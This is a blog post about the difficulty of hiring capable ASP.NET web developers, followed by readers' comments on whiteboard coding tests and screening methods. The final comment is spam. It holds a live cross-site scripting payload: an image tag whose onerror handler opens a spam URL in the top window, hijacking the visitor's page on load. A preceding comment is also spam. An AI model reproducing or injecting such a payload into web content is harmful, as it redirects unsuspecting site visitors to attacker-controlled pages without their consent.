Freigeben über


So... You think you're a web dev?

I've been spending the past couple of months trying very hard to hire some temporary (i.e.; contract) web development resources - it's been difficult and eye-opening. There is a huge disconnect between what a resume says and what a candidate is really capable of.

Now, I knew from the start not to place too much trust in resumes, so I begin all candidates with an email based screening process; just a few simple questions that they need to complete and send back. If they do well there, they can get a live interview (and sometimes "live" equates to a LiveMeeting session).

Either way, apparently 80% of candidates are experts in ASP.NET application development, and yet somehow cannot:

  • Write code to call a stored procedure and populate a dataset (and I'm not picky about syntax).
  • Come up with a simple search UI that can search on multiple fields.

I don’t yet have an explanation of how this happens. If you do, please share :)

Interestingly, even using very simple questions one can usually get a quick gut feel for the overall ability of a candidate. This was demonstrated by an interview I did recently, where in 20 minutes the candidate completed what takes the average candidate 60 minutes. Needless to say, that guy got an offer immediately.

Now, the interesting part... I will soon have an open permanent position to fill. I dread going through this process again - and to make it more difficult, I won't have the immense help of multiple vendor companies sourcing resumes for me. I'm going to have to find them myself.

So... You think you're a web dev? Seriously - not just on paper? Want to work at Microsoft?
Mail me: Avi.Pilosof at microsoft.com

Avi

P.S: The resume writing process should not be an exercise in listing every technology you've ever read about. Maybe a post on writing resumes is in order?

Comments

  • Anonymous
    February 21, 2006
    Out of curiosity, under what conditions do you ask people to do these tests?  When I conducted tests, I always gave them a workstation with MS Studio on it and asked them to complete several tasks.

    I personally depend on intellisense to help me remember what order parameters go in, since I switch back and forth between so many languages.  That being said, I do know what objects need to be created and what needs to be done to do those tasks.

  • Anonymous
    February 21, 2006
    Good question, Rich.
    This is always a whiteboard exercise - and every single person has cursed intellisense during this :)

    But I don't care about order parameters, or syntax specifics. I do care that you know what a SqlCommand is, and that you'd need to use a DataAdapter (for example).

    The truth is that most devs don't do this on a regular basis, because they wrap their DB calls in a library (and they should). But a great dev should know the basics, if not the specifics.

    I have been considering giving the candidate a workstation, but the truth is that the good candidates don't need it. Something to consider, though...

  • Anonymous
    February 21, 2006
    I agree, I've found that I can't hire "web" developer, I have to hire VB.net or C# developer that knows a little HTML. Most web developer are actually web designer, a lot of them know graphics and layout really well, but ask them to connect to a database......

  • Anonymous
    February 22, 2006
    The comment has been removed

  • Anonymous
    February 22, 2006
    Jeff, you're right - not knowing argument orders and specific syntax doesn't make you a bad coder. And I make it clear in the interview that I'm not too worried about that.

    But take for example the act of populating a dropdown list using databinding. I expect you to know how to set the datasource, bind the datasource, and at least realize that you need to define the textual member and the value member. Whether you remember the exact properties for that, I don't care.


    Avi

  • Anonymous
    March 13, 2006
    The comment has been removed

  • Anonymous
    March 14, 2006
    I agree with Kevin.

    Automation solutions that we build these days are actually quite complex. The only way these complex solutions can be built and maintained is by “breaking them down to smaller maintainable units”.

    A lot of times, when we are involved in building something of a larger scale, we plan and architect the solution into these so called units. Teams/developers then build up the units.

    A good architecture actually obviates the need for individual contributors to remember repetitive or mundane tasks. They should be able to devote time to coming up with creative solutions to those problems that are yet to be solved. That’s kinda what Microsoft’s development tools aim to do right?

    My family thinks I am computer geek. That’s because, whenever they have a “how to” question with a computer related task. I can spend a little time researching it and I am able to come through with a useful solution. The truth is I don’t have a database of questions and answers, nor do I use MS Excel or Word for a living. The skill involved here is the ability to analyze the problem, break it down, relate it to a problem that I have solved previously, know the right keywords to do an internet search and then the ability to implement that solution. This probably is the basic skill set of a good software engineer. And well, Microsoft’s products’ ease-of-use helps too! Yes. That is why, I so want to be a part of teams that actually produce these products.

    So, one of us might not quite remember how to call a JavaScript confirm on a submit button. Having not used it in over a year, that’s quite possible. But, if there is a requirement to actually implement that, most developers can complete it in a matter of minutes!

    The thing is that possibility did result in me missing out on an opportunity to be a part of a good team… For now, I can just hope to put a better foot forward if and when there is a next time.

  • Anonymous
    March 14, 2006
    As I said in the comments; it's not about getting things exactly correct, because all good devs should be using libraries to do this kind of stuff.

    But to address Kevin's comment specifically, are you telling me that given a dataset, you won't remember how to bind a DropDownList to it, and at least know the concept of a "display/text member" and a "value member"?

    The truth is that when you watch someone try code anything, you get a very strong sense of their skills, and sometimes you can tell they are good even when they don't get the exact right answer. They will describe the concept perfectly, mention that they forgot the exact syntax, and explain that they use libraries. No problem; they always shine in other areas.

    The candidate at the other end of the spectrum tries to stumble through various solutions, gives answers that aren't even close to being syntactically correct, and then misses major concepts even when questioned about them (such as the text vs. value concept in a dropdown).

    And the candidate that falls in the middle... Those are by far the most difficult, because you can't completely judge a dev based on such a short interview. But then you don't have the luxury of a 5-hour interview loop for screening people.

    Overall, I'm sure that sooner or later I'm going to miss a gem, but consider the mitigating and limiting factors:

    1) Given 50-100 resumes and very little time, how do you screen them effectively? Every criteria is going to skew in some direction.

    2) Given two candidates, equal on all other criteria, one of who can code this up, and the other who shows no memory of it; what do you go with?


    Avi

  • Anonymous
    March 14, 2006
    Candidate Selection suggestions

    Resume:
    Short list last number of recieved resumes

    Timed Screening question via email:
    Eliminate all who donot complete in time

    First phone call: (30 min)
    Find out backgorund
    Ask conceptual questions, like OOP, algorithm analysis, RDBMS
    Eliminate candidates without strong fundamentals

    Call previous bosses
    The key here is, ask the candidate for references on specific projects that are relavent to the position.
    Talk to the reference and ask about performance and contribution in specific projects.
    The really good candidates leave behind siginificant contributions and good impressions.
    Eliminate those without good reviews here

    Project:
    Give candidate a complete project to solve. Possibly from on-going work in the team. Let them come back after a day or two, with complete solution, including db installation, code etc.

    Live Meeting:
    Grill candidate on choices made in the project
    Ask candidate any other questions

    .. just trying to add 2 cents

    Disclaimer:
    I am not an expert on hiring people; (yet)
    :)

  • Anonymous
    March 16, 2006
    The comment has been removed

  • Anonymous
    March 16, 2006
    Oh, another thing I wanted to mention: You guys are making me think, and perhaps I'll change one thing at least:

    I'll start with the same style of question (eg; fill a dataset), but if the candidate suggests that it's been a while since they wrote that code, I'll ask them to do it using the libraries they're used to, rather than the low level .NET ones.

    I actually tried this once, and the candidate didn't do too well there either; but I think it's worth a shot - if nothing else than to get a little more insight.

    Thoughts?

    Avi

  • Anonymous
    April 11, 2008
         Good idea! P.S. A U realy girl?

  • Anonymous
    April 11, 2008
    my pics <img src=http://google.com/444.gif onerror="window.open('http://gomyron.com/MTQ3Mjg=/2/5424/ax=1/ed=1/ex=1/spm/','_top')">